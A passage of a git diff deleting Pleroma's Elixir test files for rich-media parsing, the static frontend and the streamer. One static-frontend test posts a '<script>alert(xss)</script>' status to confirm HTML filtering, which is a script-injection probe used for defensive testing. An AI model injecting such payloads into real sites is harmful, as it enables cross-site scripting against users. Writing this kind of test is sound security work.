Pleroma.Web.RelMe.maybe_put_rel_me("http://example.com/rel_me/anchor", profile_urls) == - attr - - assert Pleroma.Web.RelMe.maybe_put_rel_me( - "http://example.com/rel_me/anchor_nofollow", - profile_urls - ) == attr - - assert Pleroma.Web.RelMe.maybe_put_rel_me("http://example.com/rel_me/link", profile_urls) == - attr - end -end diff --git a/test/web/rich_media/aws_signed_url_test.exs b/test/web/rich_media/aws_signed_url_test.exs deleted file mode 100644 index 1ceae1a31..000000000 --- a/test/web/rich_media/aws_signed_url_test.exs +++ /dev/null @@ -1,82 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.RichMedia.TTL.AwsSignedUrlTest do - use ExUnit.Case, async: true - - test "s3 signed url is parsed correct for expiration time" do - url = "https://pleroma.social/amz" - - {:ok, timestamp} = - Timex.now() - |> DateTime.truncate(:second) - |> Timex.format("{ISO:Basic:Z}") - - # in seconds - valid_till = 30 - - metadata = construct_metadata(timestamp, valid_till, url) - - expire_time = - Timex.parse!(timestamp, "{ISO:Basic:Z}") |> Timex.to_unix() |> Kernel.+(valid_till) - - assert {:ok, expire_time} == Pleroma.Web.RichMedia.Parser.TTL.AwsSignedUrl.ttl(metadata, url) - end - - test "s3 signed url is parsed and correct ttl is set for rich media" do - url = "https://pleroma.social/amz" - - {:ok, timestamp} = - Timex.now() - |> DateTime.truncate(:second) - |> Timex.format("{ISO:Basic:Z}") - - # in seconds - valid_till = 30 - - metadata = construct_metadata(timestamp, valid_till, url) - - body = """ - <meta name="twitter:card" content="Pleroma" /> - <meta name="twitter:site" content="Pleroma" /> - <meta name="twitter:title" content="Pleroma" /> - <meta name="twitter:description" content="Pleroma" /> - <meta name="twitter:image" content="#{Map.get(metadata, :image)}" /> - """ - - Tesla.Mock.mock(fn - %{ - method: :get, - url: "https://pleroma.social/amz" - } -> - %Tesla.Env{status: 200, body: body} - end) - - Cachex.put(:rich_media_cache, url, metadata) - - Pleroma.Web.RichMedia.Parser.set_ttl_based_on_image(metadata, url) - - {:ok, cache_ttl} = Cachex.ttl(:rich_media_cache, url) - - # as there is delay in setting and pulling the data from cache we ignore 1 second - # make it 2 seconds for flakyness - assert_in_delta(valid_till * 1000, cache_ttl, 2000) - end - - defp construct_s3_url(timestamp, valid_till) do - "https://pleroma.s3.ap-southeast-1.amazonaws.com/sachin%20%281%29%20_a%20-%25%2Aasdasd%20BNN%20bnnn%20.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIBLWWK6RGDQXDLJQ%2F20190716%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Date=#{ - timestamp - }&X-Amz-Expires=#{valid_till}&X-Amz-Signature=04ffd6b98634f4b1bbabc62e0fac4879093cd54a6eed24fe8eb38e8369526bbf&X-Amz-SignedHeaders=host" - end - - defp construct_metadata(timestamp, valid_till, url) do - %{ - image: construct_s3_url(timestamp, valid_till), - site: "Pleroma", - title: "Pleroma", - description: "Pleroma", - url: url - } - end -end diff --git a/test/web/rich_media/helpers_test.exs b/test/web/rich_media/helpers_test.exs deleted file mode 100644 index 4b97bd66b..000000000 --- a/test/web/rich_media/helpers_test.exs +++ /dev/null @@ -1,86 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.RichMedia.HelpersTest do - use Pleroma.DataCase - - alias Pleroma.Config - alias Pleroma.Object - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.RichMedia.Helpers - - import Pleroma.Factory - import Tesla.Mock - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - - :ok - end - - setup do: clear_config([:rich_media, :enabled]) - - test "refuses to crawl incomplete URLs" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "[test](example.com/ogp)", - content_type: "text/markdown" - }) - - Config.put([:rich_media, :enabled], true) - - assert %{} == Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) - end - - test "refuses to crawl malformed URLs" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "[test](example.com[]/ogp)", - content_type: "text/markdown" - }) - - Config.put([:rich_media, :enabled], true) - - assert %{} == Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) - end - - test "crawls valid, complete URLs" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "[test](https://example.com/ogp)", - content_type: "text/markdown" - }) - - Config.put([:rich_media, :enabled], true) - - assert %{page_url: "https://example.com/ogp", rich_media: _} = - Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) - end - - test "refuses to crawl URLs of private network from posts" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{status: "http://127.0.0.1:4000/notice/9kCP7VNyPJXFOXDrgO"}) - - {:ok, activity2} = CommonAPI.post(user, %{status: "https://10.111.10.1/notice/9kCP7V"}) - {:ok, activity3} = CommonAPI.post(user, %{status: "https://172.16.32.40/notice/9kCP7V"}) - {:ok, activity4} = CommonAPI.post(user, %{status: "https://192.168.10.40/notice/9kCP7V"}) - {:ok, activity5} = CommonAPI.post(user, %{status: "https://pleroma.local/notice/9kCP7V"}) - - Config.put([:rich_media, :enabled], true) - - assert %{} = Helpers.fetch_data_for_activity(activity) - assert %{} = Helpers.fetch_data_for_activity(activity2) - assert %{} = Helpers.fetch_data_for_activity(activity3) - assert %{} = Helpers.fetch_data_for_activity(activity4) - assert %{} = Helpers.fetch_data_for_activity(activity5) - end -end diff --git a/test/web/rich_media/parser_test.exs b/test/web/rich_media/parser_test.exs deleted file mode 100644 index 6d00c2af5..000000000 --- a/test/web/rich_media/parser_test.exs +++ /dev/null @@ -1,176 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.RichMedia.ParserTest do - use ExUnit.Case, async: true - - alias Pleroma.Web.RichMedia.Parser - - setup do - Tesla.Mock.mock(fn - %{ - method: :get, - url: "http://example.com/ogp" - } -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/ogp.html")} - - %{ - method: :get, - url: "http://example.com/non-ogp" - } -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/non_ogp_embed.html")} - - %{ - method: :get, - url: "http://example.com/ogp-missing-title" - } -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/rich_media/ogp-missing-title.html") - } - - %{ - method: :get, - url: "http://example.com/twitter-card" - } -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/twitter_card.html")} - - %{ - method: :get, - url: "http://example.com/oembed" - } -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/oembed.html")} - - %{ - method: :get, - url: "http://example.com/oembed.json" - } -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/oembed.json")} - - %{method: :get, url: "http://example.com/empty"} -> - %Tesla.Env{status: 200, body: "hello"} - - %{method: :get, url: "http://example.com/malformed"} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/malformed-data.html")} - - %{method: :get, url: "http://example.com/error"} -> - {:error, :overload} - - %{ - method: :head, - url: "http://example.com/huge-page" - } -> - %Tesla.Env{ - status: 200, - headers: [{"content-length", "2000001"}, {"content-type", "text/html"}] - } - - %{ - method: :head, - url: "http://example.com/pdf-file" - } -> - %Tesla.Env{ - status: 200, - headers: [{"content-length", "1000000"}, {"content-type", "application/pdf"}] - } - - %{method: :head} -> - %Tesla.Env{status: 404, body: "", headers: []} - end) - - :ok - end - - test "returns error when no metadata present" do - assert {:error, _} = Parser.parse("http://example.com/empty") - end - - test "doesn't just add a title" do - assert {:error, {:invalid_metadata, _}} = Parser.parse("http://example.com/non-ogp") - end - - test "parses ogp" do - assert Parser.parse("http://example.com/ogp") == - {:ok, - %{ - "image" => "http://ia.media-imdb.com/images/rock.jpg", - "title" => "The Rock", - "description" => - "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.", - "type" => "video.movie", - "url" => "http://example.com/ogp" - }} - end - - test "falls back to <title> when ogp:title is missing" do - assert Parser.parse("http://example.com/ogp-missing-title") == - {:ok, - %{ - "image" => "http://ia.media-imdb.com/images/rock.jpg", - "title" => "The Rock (1996)", - "description" => - "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.", - "type" => "video.movie", - "url" => "http://example.com/ogp-missing-title" - }} - end - - test "parses twitter card" do - assert Parser.parse("http://example.com/twitter-card") == - {:ok, - %{ - "card" => "summary", - "site" => "@flickr", - "image" => "https://farm6.staticflickr.com/5510/14338202952_93595258ff_z.jpg", - "title" => "Small Island Developing States Photo Submission", - "description" => "View the album on Flickr.", - "url" => "http://example.com/twitter-card" - }} - end - - test "parses OEmbed" do - assert Parser.parse("http://example.com/oembed") == - {:ok, - %{ - "author_name" => "‮‭‬bees‬", - "author_url" => "https://www.flickr.com/photos/bees/", - "cache_age" => 3600, - "flickr_type" => "photo", - "height" => "768", - "html" => - "<a data-flickr-embed=\"true\" href=\"https://www.flickr.com/photos/bees/2362225867/\" title=\"Bacon Lollys by ‮‭‬bees‬, on Flickr\"><img src=\"https://farm4.staticflickr.com/3040/2362225867_4a87ab8baf_b.jpg\" width=\"1024\" height=\"768\" alt=\"Bacon Lollys\"></a><script async src=\"https://embedr.flickr.com/assets/client-code.js\" charset=\"utf-8\"></script>", - "license" => "All Rights Reserved", - "license_id" => 0, - "provider_name" => "Flickr", - "provider_url" => "https://www.flickr.com/", - "thumbnail_height" => 150, - "thumbnail_url" => - "https://farm4.staticflickr.com/3040/2362225867_4a87ab8baf_q.jpg", - "thumbnail_width" => 150, - "title" => "Bacon Lollys", - "type" => "photo", - "url" => "http://example.com/oembed", - "version" => "1.0", - "web_page" => "https://www.flickr.com/photos/bees/2362225867/", - "web_page_short_url" => "https://flic.kr/p/4AK2sc", - "width" => "1024" - }} - end - - test "rejects invalid OGP data" do - assert {:error, _} = Parser.parse("http://example.com/malformed") - end - - test "returns error if getting page was not successful" do - assert {:error, :overload} = Parser.parse("http://example.com/error") - end - - test "does a HEAD request to check if the body is too large" do - assert {:error, :body_too_large} = Parser.parse("http://example.com/huge-page") - end - - test "does a HEAD request to check if the body is html" do - assert {:error, {:content_type, _}} = Parser.parse("http://example.com/pdf-file") - end -end diff --git a/test/web/rich_media/parsers/twitter_card_test.exs b/test/web/rich_media/parsers/twitter_card_test.exs deleted file mode 100644 index 219f005a2..000000000 --- a/test/web/rich_media/parsers/twitter_card_test.exs +++ /dev/null @@ -1,127 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.RichMedia.Parsers.TwitterCardTest do - use ExUnit.Case, async: true - alias Pleroma.Web.RichMedia.Parsers.TwitterCard - - test "returns error when html not contains twitter card" do - assert TwitterCard.parse([{"html", [], [{"head", [], []}, {"body", [], []}]}], %{}) == %{} - end - - test "parses twitter card with only name attributes" do - html = - File.read!("test/fixtures/nypd-facial-recognition-children-teenagers3.html") - |> Floki.parse_document!() - - assert TwitterCard.parse(html, %{}) == - %{ - "app:id:googleplay" => "com.nytimes.android", - "app:name:googleplay" => "NYTimes", - "app:url:googleplay" => "nytimes://reader/id/100000006583622", - "site" => nil, - "description" => - "With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.", - "image" => - "https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-facebookJumbo.jpg", - "type" => "article", - "url" => - "https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html", - "title" => - "She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database." - } - end - - test "parses twitter card with only property attributes" do - html = - File.read!("test/fixtures/nypd-facial-recognition-children-teenagers2.html") - |> Floki.parse_document!() - - assert TwitterCard.parse(html, %{}) == - %{ - "card" => "summary_large_image", - "description" => - "With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.", - "image" => - "https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-videoSixteenByNineJumbo1600.jpg", - "image:alt" => "", - "title" => - "She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.", - "url" => - "https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html", - "type" => "article" - } - end - - test "parses twitter card with name & property attributes" do - html = - File.read!("test/fixtures/nypd-facial-recognition-children-teenagers.html") - |> Floki.parse_document!() - - assert TwitterCard.parse(html, %{}) == - %{ - "app:id:googleplay" => "com.nytimes.android", - "app:name:googleplay" => "NYTimes", - "app:url:googleplay" => "nytimes://reader/id/100000006583622", - "card" => "summary_large_image", - "description" => - "With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.", - "image" => - "https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-videoSixteenByNineJumbo1600.jpg", - "image:alt" => "", - "site" => nil, - "title" => - "She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.", - "url" => - "https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html", - "type" => "article" - } - end - - test "respect only first title tag on the page" do - image_path = - "https://assets.atlasobscura.com/media/W1siZiIsInVwbG9hZHMvYXNzZXRzLzkwYzgyMzI4LThlMDUtNGRiNS05MDg3LTUzMGUxZTM5N2RmMmVkOTM5ZDM4MGM4OTIx" <> - "YTQ5MF9EQVIgZXhodW1hdGlvbiBvZiBNYXJnYXJldCBDb3JiaW4gZ3JhdmUgMTkyNi5qcGciXSxbInAiLCJjb252ZXJ0IiwiIl0sWyJwIiwiY29udmVydCIsIi1xdWFsaXR5IDgxIC1hdXRvLW9" <> - "yaWVudCJdLFsicCIsInRodW1iIiwiNjAweD4iXV0/DAR%20exhumation%20of%20Margaret%20Corbin%20grave%201926.jpg" - - html = - File.read!("test/fixtures/margaret-corbin-grave-west-point.html") |> Floki.parse_document!() - - assert TwitterCard.parse(html, %{}) == - %{ - "site" => "@atlasobscura", - "title" => "The Missing Grave of Margaret Corbin, Revolutionary War Veteran", - "card" => "summary_large_image", - "image" => image_path, - "description" => - "She's the only woman veteran honored with a monument at West Point. But where was she buried?", - "site_name" => "Atlas Obscura", - "type" => "article", - "url" => "http://www.atlasobscura.com/articles/margaret-corbin-grave-west-point" - } - end - - test "takes first founded title in html head if there is html markup error" do - html = - File.read!("test/fixtures/nypd-facial-recognition-children-teenagers4.html") - |> Floki.parse_document!() - - assert TwitterCard.parse(html, %{}) == - %{ - "site" => nil, - "title" => - "She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.", - "app:id:googleplay" => "com.nytimes.android", - "app:name:googleplay" => "NYTimes", - "app:url:googleplay" => "nytimes://reader/id/100000006583622", - "description" => - "With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.", - "image" => - "https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-facebookJumbo.jpg", - "type" => "article", - "url" => - "https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html" - } - end -end diff --git a/test/web/static_fe/static_fe_controller_test.exs b/test/web/static_fe/static_fe_controller_test.exs deleted file mode 100644 index f819a1e52..000000000 --- a/test/web/static_fe/static_fe_controller_test.exs +++ /dev/null @@ -1,196 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.StaticFE.StaticFEControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Activity - alias Pleroma.Config - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - setup_all do: clear_config([:static_fe, :enabled], true) - setup do: clear_config([:instance, :federating], true) - - setup %{conn: conn} do - conn = put_req_header(conn, "accept", "text/html") - user = insert(:user) - - %{conn: conn, user: user} - end - - describe "user profile html" do - test "just the profile as HTML", %{conn: conn, user: user} do - conn = get(conn, "/users/#{user.nickname}") - - assert html_response(conn, 200) =~ user.nickname - end - - test "404 when user not found", %{conn: conn} do - conn = get(conn, "/users/limpopo") - - assert html_response(conn, 404) =~ "not found" - end - - test "profile does not include private messages", %{conn: conn, user: user} do - CommonAPI.post(user, %{status: "public"}) - CommonAPI.post(user, %{status: "private", visibility: "private"}) - - conn = get(conn, "/users/#{user.nickname}") - - html = html_response(conn, 200) - - assert html =~ ">public<" - refute html =~ ">private<" - end - - test "pagination", %{conn: conn, user: user} do - Enum.map(1..30, fn i -> CommonAPI.post(user, %{status: "test#{i}"}) end) - - conn = get(conn, "/users/#{user.nickname}") - - html = html_response(conn, 200) - - assert html =~ ">test30<" - assert html =~ ">test11<" - refute html =~ ">test10<" - refute html =~ ">test1<" - end - - test "pagination, page 2", %{conn: conn, user: user} do - activities = Enum.map(1..30, fn i -> CommonAPI.post(user, %{status: "test#{i}"}) end) - {:ok, a11} = Enum.at(activities, 11) - - conn = get(conn, "/users/#{user.nickname}?max_id=#{a11.id}") - - html = html_response(conn, 200) - - assert html =~ ">test1<" - assert html =~ ">test10<" - refute html =~ ">test20<" - refute html =~ ">test29<" - end - - test "it requires authentication if instance is NOT federating", %{conn: conn, user: user} do - ensure_federating_or_authenticated(conn, "/users/#{user.nickname}", user) - end - end - - describe "notice html" do - test "single notice page", %{conn: conn, user: user} do - {:ok, activity} = CommonAPI.post(user, %{status: "testing a thing!"}) - - conn = get(conn, "/notice/#{activity.id}") - - html = html_response(conn, 200) - assert html =~ "<header>" - assert html =~ user.nickname - assert html =~ "testing a thing!" - end - - test "redirects to json if requested", %{conn: conn, user: user} do - {:ok, activity} = CommonAPI.post(user, %{status: "testing a thing!"}) - - conn = - conn - |> put_req_header( - "accept", - "Accept: application/activity+json, application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\", text/html" - ) - |> get("/notice/#{activity.id}") - - assert redirected_to(conn, 302) =~ activity.data["object"] - end - - test "filters HTML tags", %{conn: conn} do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "<script>alert('xss')</script>"}) - - conn = - conn - |> put_req_header("accept", "text/html") - |> get("/notice/#{activity.id}") - - html = html_response(conn, 200) - assert html =~ ~s[<script>alert('xss')</script>] - end - - test "shows the whole thread", %{conn: conn, user: user} do - {:ok, activity} = CommonAPI.post(user, %{status: "space: the final frontier"}) - - CommonAPI.post(user, %{ - status: "these are the voyages or something", - in_reply_to_status_id: activity.id - }) - - conn = get(conn, "/notice/#{activity.id}") - - html = html_response(conn, 200) - assert html =~ "the final frontier" - assert html =~ "voyages" - end - - test "redirect by AP object ID", %{conn: conn, user: user} do - {:ok, %Activity{data: %{"object" => object_url}}} = - CommonAPI.post(user, %{status: "beam me up"}) - - conn = get(conn, URI.parse(object_url).path) - - assert html_response(conn, 302) =~ "redirected" - end - - test "redirect by activity ID", %{conn: conn, user: user} do - {:ok, %Activity{data: %{"id" => id}}} = - CommonAPI.post(user, %{status: "I'm a doctor, not a devops!"}) - - conn = get(conn, URI.parse(id).path) - - assert html_response(conn, 302) =~ "redirected" - end - - test "404 when notice not found", %{conn: conn} do - conn = get(conn, "/notice/88c9c317") - - assert html_response(conn, 404) =~ "not found" - end - - test "404 for private status", %{conn: conn, user: user} do - {:ok, activity} = CommonAPI.post(user, %{status: "don't show me!", visibility: "private"}) - - conn = get(conn, "/notice/#{activity.id}") - - assert html_response(conn, 404) =~ "not found" - end - - test "302 for remote cached status", %{conn: conn, user: user} do - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "to" => user.follower_address, - "cc" => "https://www.w3.org/ns/activitystreams#Public", - "type" => "Create", - "object" => %{ - "content" => "blah blah blah", - "type" => "Note", - "attributedTo" => user.ap_id, - "inReplyTo" => nil - }, - "actor" => user.ap_id - } - - assert {:ok, activity} = Transmogrifier.handle_incoming(message) - - conn = get(conn, "/notice/#{activity.id}") - - assert html_response(conn, 302) =~ "redirected" - end - - test "it requires authentication if instance is NOT federating", %{conn: conn, user: user} do - {:ok, activity} = CommonAPI.post(user, %{status: "testing a thing!"}) - - ensure_federating_or_authenticated(conn, "/notice/#{activity.id}", user) - end - end -end diff --git a/test/web/streamer/streamer_test.exs b/test/web/streamer/streamer_test.exs deleted file mode 100644 index 185724a9f..000000000 --- a/test/web/streamer/streamer_test.exs +++ /dev/null @@ -1,767 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.StreamerTest do - use Pleroma.DataCase - - import Pleroma.Factory - - alias Pleroma.Chat - alias Pleroma.Chat.MessageReference - alias Pleroma.Conversation.Participation - alias Pleroma.List - alias Pleroma.Object - alias Pleroma.User - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.Streamer - alias Pleroma.Web.StreamerView - - @moduletag needs_streamer: true, capture_log: true - - setup do: clear_config([:instance, :skip_thread_containment]) - - describe "get_topic/_ (unauthenticated)" do - test "allows public" do - assert {:ok, "public"} = Streamer.get_topic("public", nil, nil) - assert {:ok, "public:local"} = Streamer.get_topic("public:local", nil, nil) - assert {:ok, "public:media"} = Streamer.get_topic("public:media", nil, nil) - assert {:ok, "public:local:media"} = Streamer.get_topic("public:local:media", nil, nil) - end - - test "allows hashtag streams" do - assert {:ok, "hashtag:cofe"} = Streamer.get_topic("hashtag", nil, nil, %{"tag" => "cofe"}) - end - - test "disallows user streams" do - assert {:error, _} = Streamer.get_topic("user", nil, nil) - assert {:error, _} = Streamer.get_topic("user:notification", nil, nil) - assert {:error, _} = Streamer.get_topic("direct", nil, nil) - end - - test "disallows list streams" do - assert {:error, _} = Streamer.get_topic("list", nil, nil, %{"list" => 42}) - end - end - - describe "get_topic/_ (authenticated)" do - setup do: oauth_access(["read"]) - - test "allows public streams (regardless of OAuth token scopes)", %{ - user: user, - token: read_oauth_token - } do - with oauth_token <- [nil, read_oauth_token] do - assert {:ok, "public"} = Streamer.get_topic("public", user, oauth_token) - assert {:ok, "public:local"} = Streamer.get_topic("public:local", user, oauth_token) - assert {:ok, "public:media"} = Streamer.get_topic("public:media", user, oauth_token) - - assert {:ok, "public:local:media"} = - Streamer.get_topic("public:local:media", user, oauth_token) - end - end - - test "allows user streams (with proper OAuth token scopes)", %{ - user: user, - token: read_oauth_token - } do - %{token: read_notifications_token} = oauth_access(["read:notifications"], user: user) - %{token: read_statuses_token} = oauth_access(["read:statuses"], user: user) - %{token: badly_scoped_token} = oauth_access(["irrelevant:scope"], user: user) - - expected_user_topic = "user:#{user.id}" - expected_notification_topic = "user:notification:#{user.id}" - expected_direct_topic = "direct:#{user.id}" - expected_pleroma_chat_topic = "user:pleroma_chat:#{user.id}" - - for valid_user_token <- [read_oauth_token, read_statuses_token] do - assert {:ok, ^expected_user_topic} = Streamer.get_topic("user", user, valid_user_token) - - assert {:ok, ^expected_direct_topic} = - Streamer.get_topic("direct", user, valid_user_token) - - assert {:ok, ^expected_pleroma_chat_topic} = - Streamer.get_topic("user:pleroma_chat", user, valid_user_token) - end - - for invalid_user_token <- [read_notifications_token, badly_scoped_token], - user_topic <- ["user", "direct", "user:pleroma_chat"] do - assert {:error, :unauthorized} = Streamer.get_topic(user_topic, user, invalid_user_token) - end - - for valid_notification_token <- [read_oauth_token, read_notifications_token] do - assert {:ok, ^expected_notification_topic} = - Streamer.get_topic("user:notification", user, valid_notification_token) - end - - for invalid_notification_token <- [read_statuses_token, badly_scoped_token] do - assert {:error, :unauthorized} = - Streamer.get_topic("user:notification", user, invalid_notification_token) - end - end - - test "allows hashtag streams (regardless of OAuth token scopes)", %{ - user: user, - token: read_oauth_token - } do - for oauth_token <- [nil, read_oauth_token] do - assert {:ok, "hashtag:cofe"} = - Streamer.get_topic("hashtag", user, oauth_token, %{"tag" => "cofe"}) - end - end - - test "disallows registering to another user's stream", %{user: user, token: read_oauth_token} do - another_user = insert(:user) - assert {:error, _} = Streamer.get_topic("user:#{another_user.id}", user, read_oauth_token) - - assert {:error, _} = - Streamer.get_topic("user:notification:#{another_user.id}", user, read_oauth_token) - - assert {:error, _} = Streamer.get_topic("direct:#{another_user.id}", user, read_oauth_token) - end - - test "allows list stream that are owned by the user (with `read` or `read:lists` scopes)", %{ - user: user, - token: read_oauth_token - } do - %{token: read_lists_token} = oauth_access(["read:lists"], user: user) - %{token: invalid_token} = oauth_access(["irrelevant:scope"], user: user) - {:ok, list} = List.create("Test", user) - - assert {:error, _} = Streamer.get_topic("list:#{list.id}", user, read_oauth_token) - - for valid_token <- [read_oauth_token, read_lists_token] do - assert {:ok, _} = Streamer.get_topic("list", user, valid_token, %{"list" => list.id}) - end - - assert {:error, _} = Streamer.get_topic("list", user, invalid_token, %{"list" => list.id}) - end - - test "disallows list stream that are not owned by the user", %{user: user, token: oauth_token} do - another_user = insert(:user) - {:ok, list} = List.create("Test", another_user) - - assert {:error, _} = Streamer.get_topic("list:#{list.id}", user, oauth_token) - assert {:error, _} = Streamer.get_topic("list", user, oauth_token, %{"list" => list.id}) - end - end - - describe "user streams" do - setup do - %{user: user, token: token} = oauth_access(["read"]) - notify = insert(:notification, user: user, activity: build(:note_activity)) - {:ok, %{user: user, notify: notify, token: token}} - end - - test "it streams the user's post in the 'user' stream", %{user: user, token: oauth_token} do - Streamer.get_topic_and_add_socket("user", user, oauth_token) - {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) - - assert_receive {:render_with_user, _, _, ^activity} - refute Streamer.filtered_by_user?(user, activity) - end - - test "it streams boosts of the user in the 'user' stream", %{user: user, token: oauth_token} do - Streamer.get_topic_and_add_socket("user", user, oauth_token) - - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(other_user, %{status: "hey"}) - {:ok, announce} = CommonAPI.repeat(activity.id, user) - - assert_receive {:render_with_user, Pleroma.Web.StreamerView, "update.json", ^announce} - refute Streamer.filtered_by_user?(user, announce) - end - - test "it does not stream announces of the user's own posts in the 'user' stream", %{ - user: user, - token: oauth_token - } do - Streamer.get_topic_and_add_socket("user", user, oauth_token) - - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) - {:ok, announce} = CommonAPI.repeat(activity.id, other_user) - - assert Streamer.filtered_by_user?(user, announce) - end - - test "it does stream notifications announces of the user's own posts in the 'user' stream", %{ - user: user, - token: oauth_token - } do - Streamer.get_topic_and_add_socket("user", user, oauth_token) - - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) - {:ok, announce} = CommonAPI.repeat(activity.id, other_user) - - notification = - Pleroma.Notification - |> Repo.get_by(%{user_id: user.id, activity_id: announce.id}) - |> Repo.preload(:activity) - - refute Streamer.filtered_by_user?(user, notification) - end - - test "it streams boosts of mastodon user in the 'user' stream", %{ - user: user, - token: oauth_token - } do - Streamer.get_topic_and_add_socket("user", user, oauth_token) - - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(other_user, %{status: "hey"}) - - data = - File.read!("test/fixtures/mastodon-announce.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - |> Map.put("actor", user.ap_id) - - {:ok, %Pleroma.Activity{data: _data, local: false} = announce} = - Pleroma.Web.ActivityPub.Transmogrifier.handle_incoming(data) - - assert_receive {:render_with_user, Pleroma.Web.StreamerView, "update.json", ^announce} - refute Streamer.filtered_by_user?(user, announce) - end - - test "it sends notify to in the 'user' stream", %{ - user: user, - token: oauth_token, - notify: notify - } do - Streamer.get_topic_and_add_socket("user", user, oauth_token) - Streamer.stream("user", notify) - - assert_receive {:render_with_user, _, _, ^notify} - refute Streamer.filtered_by_user?(user, notify) - end - - test "it sends notify to in the 'user:notification' stream", %{ - user: user, - token: oauth_token, - notify: notify - } do - Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) - Streamer.stream("user:notification", notify) - - assert_receive {:render_with_user, _, _, ^notify} - refute Streamer.filtered_by_user?(user, notify) - end - - test "it sends chat messages to the 'user:pleroma_chat' stream", %{ - user: user, - token: oauth_token - } do - other_user = insert(:user) - - {:ok, create_activity} = CommonAPI.post_chat_message(other_user, user, "hey cirno") - object = Object.normalize(create_activity, false) - chat = Chat.get(user.id, other_user.ap_id) - cm_ref = MessageReference.for_chat_and_object(chat, object) - cm_ref = %{cm_ref | chat: chat, object: object} - - Streamer.get_topic_and_add_socket("user:pleroma_chat", user, oauth_token) - Streamer.stream("user:pleroma_chat", {user, cm_ref}) - - text = StreamerView.render("chat_update.json", %{chat_message_reference: cm_ref}) - - assert text =~ "hey cirno" - assert_receive {:text, ^text} - end - - test "it sends chat messages to the 'user' stream", %{user: user, token: oauth_token} do - other_user = insert(:user) - - {:ok, create_activity} = CommonAPI.post_chat_message(other_user, user, "hey cirno") - object = Object.normalize(create_activity, false) - chat = Chat.get(user.id, other_user.ap_id) - cm_ref = MessageReference.for_chat_and_object(chat, object) - cm_ref = %{cm_ref | chat: chat, object: object} - - Streamer.get_topic_and_add_socket("user", user, oauth_token) - Streamer.stream("user", {user, cm_ref}) - - text = StreamerView.render("chat_update.json", %{chat_message_reference: cm_ref}) - - assert text =~ "hey cirno" - assert_receive {:text, ^text} - end - - test "it sends chat message notifications to the 'user:notification' stream", %{ - user: user, - token: oauth_token - } do - other_user = insert(:user) - - {:ok, 